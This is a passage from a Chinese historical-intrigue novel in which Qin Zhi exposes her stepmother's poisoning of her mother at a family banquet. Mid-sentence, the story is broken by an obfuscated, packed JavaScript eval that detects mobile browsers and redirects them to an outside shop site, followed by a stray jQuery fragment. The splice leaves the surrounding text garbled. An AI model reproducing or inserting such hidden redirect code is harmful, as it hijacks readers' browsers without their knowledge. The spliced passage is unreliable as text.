秦芝目光停滞一瞬,手微顿,攥紧手中帕子又放松,不动声色地继续擦拭。
“抱歉,京中事情紧急,我无法亲身帮你完成这桩事,但我已经告知李郎中和裴珩,他们都会帮你做事,待你事成之后,我会派人来带你走,给你这辈子都用不完的金银,届时,你可以去任何想去的地方。”语气中带着几分歉意。
房间陷入安静,凝固的空气中浮动着细微灰尘。
秦芝面色沉沉,未发一言,只一昧进行手中活计。
见此景,宋煜神色微动,若有所思。
而令宋煜陷入沉思之人——秦芝此刻内心正天人交战。
‘江聿之’要离开?会对自己的计划有影响么?
——应当影响不大,甚至李郎中和裴公子的身份比江聿之更有用。
‘江聿之’会履行诺言么?
——依照他先前言行举止,应当...会吧。
所以,
获得钱财后,自己应该去哪里呢?
西北?
她虽然一向向往大漠的广袤,漠北先前也是在她的向往中,但她自小畏寒,细想来竟并非十分合适。
岭南?
听说岭南潮湿多蚊蝇,估摸也很难即刻适应。
苗疆?
苗疆不比岭南那般燥热难耐,亦比漠北湿润温暖。
且最关键是,那里有苗药,她最近阅读许多有关苗药的书,想亲自去看一看,亦想传播更多人因其受益,而非像她母亲那般被其戕害。
“秦小姐在想什么?”
一道冷清的声音响起,惊醒胡思乱想的秦芝。
骤然被打断思绪的秦芝并未不悦,而是美滋滋地看着眼前的“聚宝盆”,下半辈子的富贵大抵系于此人身上,越看越欢喜,胡乱搪塞着:“江公子即刻要走,我悲从中来,满腔伤怀实在无以言表。”
女子突然绽放的笑眼看着他,说着这番说辞,实在难以令人信服,一看便知是某人糊弄之语。
可纵然如此,听到这话时,宋煜的心尖却有一刻的疏漏,连他自己都未曾发觉。
“寻常官家女儿常习琴棋书画,秦小姐是由何契机开始读医书的?”宋煜问出自己一直好奇的问题。
“自小我和两个妹妹就一同跟随女师们学习,我的书画倒是尚可,棋艺勉强过得去,可唯有琴艺,却是怎么都无法精进,不知为何,对别人而言极为简单的听音,我都练习许久,后来我想通了,人或许都有自己不擅长之物,所以我自是佩服精于琴艺之人。”秦芝坦荡道。
听及此,宋煜想起自己那日抚琴时秦芝的神情。
“至于学医,母亲发急病后,我想为母亲寻得病方翻医书。”
“而在她去世后,我唯有没日没夜地读医书,才能将自己从自责的泥淖中短暂拽离一刻,不过,后来便成为习惯。”秦芝语气也越发低沉。
宋煜眼神深深,看不清是怜悯还是回忆。
太像了。
秦芝与宋煜自己当年刚刚失去母亲妹妹时太像,一样陷入无边的悔恨中难以自拔,一样孤独自苦。
心中莫名涌上一种冲动,女子留在京城或许也不错,宋煜摇摇头,将这种奇怪想法归咎为是一种同情的错觉。
“所以江公子,我不想像母亲一样,一辈子困在痛苦中,你一定要回来帮我。”
秦芝说话同时观察着宋煜的表情,满意地在他脸上看到同情后才不再说话。
只是,令她有些不安,在她说完最后一句话后,宋煜向她投来一个似笑非笑的眼神。
秦芝见好就收,将手中帕子“啪”的一声扔到桌上。
“我已经帮你卸完脂粉,江公子等下换完衣服就回房休息吧。”
秦芝警惕地瞪着圆溜溜的眼眸,已经是一副送客姿态。
看到此景,宋煜垂目浅笑,悠悠然起身,慢条斯理地理着袖口便朝着柴房走去,这几日,他都在那里更换衣服。
“小井,”秦芝走到里间,朝正在整理衣物的小井说,“等下你去取个炭盆来。”
“小姐,可是现在还不到冬日。”小井惊呼。
“无妨,就说我生病,身上畏寒,也不会有人深究,他们只会当我这个大小姐的古怪性子又犯了,将那些装鬼的衣服烧掉。”秦芝冷静道。
小井应下。
待到傍晚,两人将这几日装神弄鬼的道具全都烧尽后,秦芝才如释重负地长叹一口气,第一步计划已经圆满完成,离揪出钱月又近一步。
接下来几日,秦芝没有再行动。
秦家闹鬼的传言也慢慢平息下来。
直到四日后,秦家人对宋煜的践行宴上,出现变故。
说是践行宴,其实只算一场家宴,除了宋煜和秦家人自己,只请了几个秦家宗族的长辈,还有李郎中和裴珩。
宋煜已经提前告知过秦父勿要过于高调铺张。
践行宴上的菜色也琳琅精致,竟还有精心烹饪的野菜制食,极有乡野意趣。
席间觥筹交错,言笑晏晏。
秦家宗族的长辈们坐在尊座,秦家夫妇坐在较次一级的主人座处,宋煜坐在客人首座,李郎中和裴珩紧跟其后。
谈笑间,下人们成列走进厅内,每人手中端着一个竹屉。
每个竹屉上盖着竹子编成的褐色圆盖,圆盖完全将竹屉罩住,此中菜色模样极为神秘,令在座诸人都想一探究竟。
钱月站起来,笑着说:“这是今日最后一道菜色,是我亲手所做,是我家乡的一道野味,以我家乡的一种特殊香料熏制腊肉,每块腊肉用一页野菜包好,口感辛辣清爽,请大家享用。”
随着钱月的介绍,众人对这道菜的好奇心被吊到最高点。
有几个人已经按耐不住提起竹屉上的圆盖。
越来越多人打开竹屉。
可并未出现钱月预想中,众人尝后纷纷赞不绝口的景象。
无人下筷。
席间渐渐有讨论声,且这声音越来越大,抑制不住,每个人看着身前的菜,奇异地瞟着钱月,又与身边人讨论起来。
落在钱月身上的莫名视线越来越多,她的疑惑与不安被无限放大,遂迅速打开自己面前的竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706910|208337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
屉。
下一秒,钱月的面色煞白。
褐绿色的竹屉上,一只瓷白的碟子,上面并非野菜包腊肉,只有一片空荡荡的葫芦形巴掌大叶子,大半为黑色,只有葫芦尖处是暗紫色。
同时在每个瓷碟的边沿处,有一串陌生的符号,扭扭曲曲缠绕虬结,如同一串诅咒。
在座的人大多不认识这串符号。
可钱月再熟悉不过。
这种文字,是从生养她的那片土地上被创造,是从她牙牙学语时就陪伴她的,是她这辈子最熟悉的文字。
碟子上文字意为:杀人,偿命。
那片瓷碟上唯一的那片叶子,钱月自然也熟悉,她曾经精准地研究过此药的精准剂量——多少可以治病,多少可以致死。
“母亲,为何只有一片野菜?腊肉呢?”秦茉说着就要将千名草往嘴里送。
“别吃!”
这两个字几乎是被钱月从口中吼出,席上人俱被这声大喊一震,三妹秦茉也被吓得右手微颤松掉筷子,那片葫芦形叶子就那样飘飘荡荡落回瓷碟上。
“钱氏,怎么了?”一位族中长老语气严厉,似乎在嫌钱月不够端庄。
“无事。”钱月慌乱间回答道。
“无事么?”角落处传来一道冷淡声音。
“这草药、这文字,你不熟悉么?”秦芝的面容冷到极点。
听到这话的钱月突然抬头,眼神精准定到角落里的秦芝,却被其眼中浓重的恨意惊到后仓皇移开双眼。
“是你?”钱月垂眼,笃定地自言自语道,“这几日都是你…都是你。”
众人听到秦芝的话都面露疑惑,这才发现瓷碟上的符号并非自带的纹路,或许是一种陌生文字。
“大丫头,你这话什么意思,草药?还有你说这是文字,这究竟怎么回事?”一位年老的族中长辈疑惑道。
秦芝移开紧盯着钱月的双眼,看向长辈淡淡道:“几年前,我母亲就是被这个女人杀死。”
这句话,如同一道惊雷般砸向众人。
没人出声,席上只有暗流涌动。
“可是,你母亲…黎氏不是因病而亡么?”那位长辈不可置信继续问。
“我母亲已经心疾多年,又怎么会一朝一夕突然发病,且我母亲发病时,身上浮现大片红疹、紫斑,浑身剧痛,各位长辈见多识广,这真只是心疾就可以达到?”
“可是,你又如何知道,此事与钱氏有关?”
秦芝扫一眼满脸惴惴不安的钱月,继续陈述。
“我先前也并不信,毕竟钱氏带我如同亲生母亲,可是近日,我在同李郎中学医时,偶然习得一种苗药,名为千命草,此药乍一看可以治疗心疾,可一旦过量就会杀人于无形,且人死之前的症状与我母亲当年分毫不差。”
“或许很多长辈都不知道,钱氏来自苗疆。”
在座人表情也俱是讶异,钱月长相不似苗疆人,众人也是第一次知道这件事。
“咳咳,秦丫头说的不错,千命草过量后的效果的确如同她所说。”李郎中捋着胡子插话。